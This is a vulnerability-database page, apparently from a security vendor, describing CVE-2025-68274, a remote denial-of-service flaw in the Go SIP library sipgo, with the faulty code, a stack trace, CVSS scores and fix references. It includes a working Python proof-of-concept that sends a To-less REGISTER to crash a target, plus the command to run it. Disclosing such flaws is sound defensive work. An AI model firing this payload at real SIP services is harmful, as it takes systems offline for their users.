Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2025-68274

SIPGO is Vulnerable to Response DoS via Nil Pointer Dereference
Back to all
CVE

CVE-2025-68274

SIPGO is Vulnerable to Response DoS via Nil Pointer Dereference

Description

A nil pointer dereference vulnerability was discovered in the SIPGO library's NewResponseFromRequest function that affects all normal SIP operations. The vulnerability allows remote attackers to crash any SIP application by sending a single malformed SIP request without a To header.

The vulnerability occurs when SIP message parsing succeeds for a request missing the To header, but the response creation code assumes the To header exists without proper nil checks. This affects routine operations like call setup, authentication, and message handling - not just error cases.

Note: This vulnerability affects all SIP applications using the sipgo library, not just specific configurations or edge cases, as long as they make use of the NewResponseFromRequest function.

Technical details

The vulnerability is located in /sip/response.go at line 242 in the NewResponseFromRequest function:

if _, ok := res.To().Params["tag"]; !ok {
    uuid, _ := uuid.NewRandom()
    res.to.Params["tag"] = uuid.String()
}

Root Cause:

  1. Missing To Header: When any SIP request is sent without a To header, the SIP message parsing succeeds but the To header is never set in the request object.
  2. Header Copying Logic: During response creation in NewResponseFromRequest, the code attempts to copy headers from the request to the response. Since there's no To header in the request, no To header is copied to the response.
  3. Unsafe Assumption: The response creation code assumes the To header exists and calls res.To().Params["tag"] without checking if res.To() returns nil, causing a nil pointer dereference.

Stack Trace:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x70 pc=0x10261fcb4]
goroutine 175 [running]:
github.com/emiago/sipgo/sip.NewResponseFromRequest(0x14000433e00, 0x191, {0x1026b074b, 0xb}, {0x0, 0x0, 0x0})
    /Users/user/Documents/GitHub/sipgo/sip/response.go:242 +0x394

Impact

This vulnerability affects all SIP applications using the sipgo library when using NewResponseFromRequest to generate SIP responses.

Attack Impact:

  • Availability: Complete denial of service - application crashes immediately
  • Remote Exploitation: Yes
  • Authentication Required: No - vulnerability triggers during initial response generation which does not require authentication

How to reproduce the issue

To reproduce this issue, you need:

  1. A SIP application using the vulnerable sipgo library
  2. Network access to send SIP messages to the target

Steps:

  1. Save the following Python script as sipgo-response-dos.py:

    ```python

    #!/usr/bin/env python3

    import socket

    import sys

    import time

    import random

    def createmalformedregister(targetip, targetport):

        call_id = f"sipgo-dos-{int(time.time())}"

        tag = f"sipgo-dos-{random.randint(1000, 9999)}"

        branch = f"z9hG4bK-sipgo-dos-{random.randint(10000, 99999)}"

        

        # Craft malformed SIP request without To header

        sip_message = (

            f"REGISTER sip:{targetip}:{targetport} SIP/2.0\r\n"

            f"Via: SIP/2.0/UDP 192.168.1.100:5060;rport;branch={branch}\r\n"

            f"From: sip:attacker@192.168.1.100;tag={tag}\r\n"

            f"Call-ID: {call_id}\r\n"

            f"CSeq: 1 REGISTER\r\n"

            f"Contact: sip:attacker@192.168.1.100:5060\r\n"

            f"Content-Length: 0\r\n"

            f"\r\n"

        )

        return sip_message

    if name == "main":

        if len(sys.argv) != 3:

            print("Usage: python3 sipgo-response-dos.py <targetip> <targetport>")

            sys.exit(1)

        

        target_ip = sys.argv[1]

        target_port = int(sys.argv[2])

        

        sock = socket.socket(socket.AFINET, socket.SOCKDGRAM)

        payload = createmalformedregister(targetip, targetport)

        

        print(f"Sending malformed REGISTER to {targetip}:{targetport}")

        sock.sendto(payload.encode('utf-8'), (targetip, targetport))

        print("Exploit sent - target should crash immediately")

    ```

  1. Run the script against a vulnerable sipgo application:

    ```bash

    python3 sipgo-response-dos.py <targetip> <targetport>

    ```

  1. Observe that the target application crashes with a SIGSEGV panic.

Note: The key element is the missing To header in any SIP request, which triggers the nil pointer dereference.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
8.7
-
4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
C
H
U
0
-
C
H
U
7.5
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Related Resources

No items found.

References

https://github.com/emiago/sipgo/security/advisories/GHSA-c623-f998-8hhv, https://github.com/emiago/sipgo/commit/dc9669364a154ec6d134e542f6a63c31b5afe6e8, https://github.com/emiago/sipgo

Severity

7.5

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
7.5
EPSS Probability
0.00481%
EPSS Percentile
0.64538%
Introduced Version
0.3.0,v0.6.0,v0.0.0-20221221203246-09ca095b44d4,v0.3.0,v0.0.0-20220918212759-ef74263f7172
Fix Available
1.0.0-alpha-1,v1.0.0-alpha-1,v0.0.0-20250904172805-dc9669364a15

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading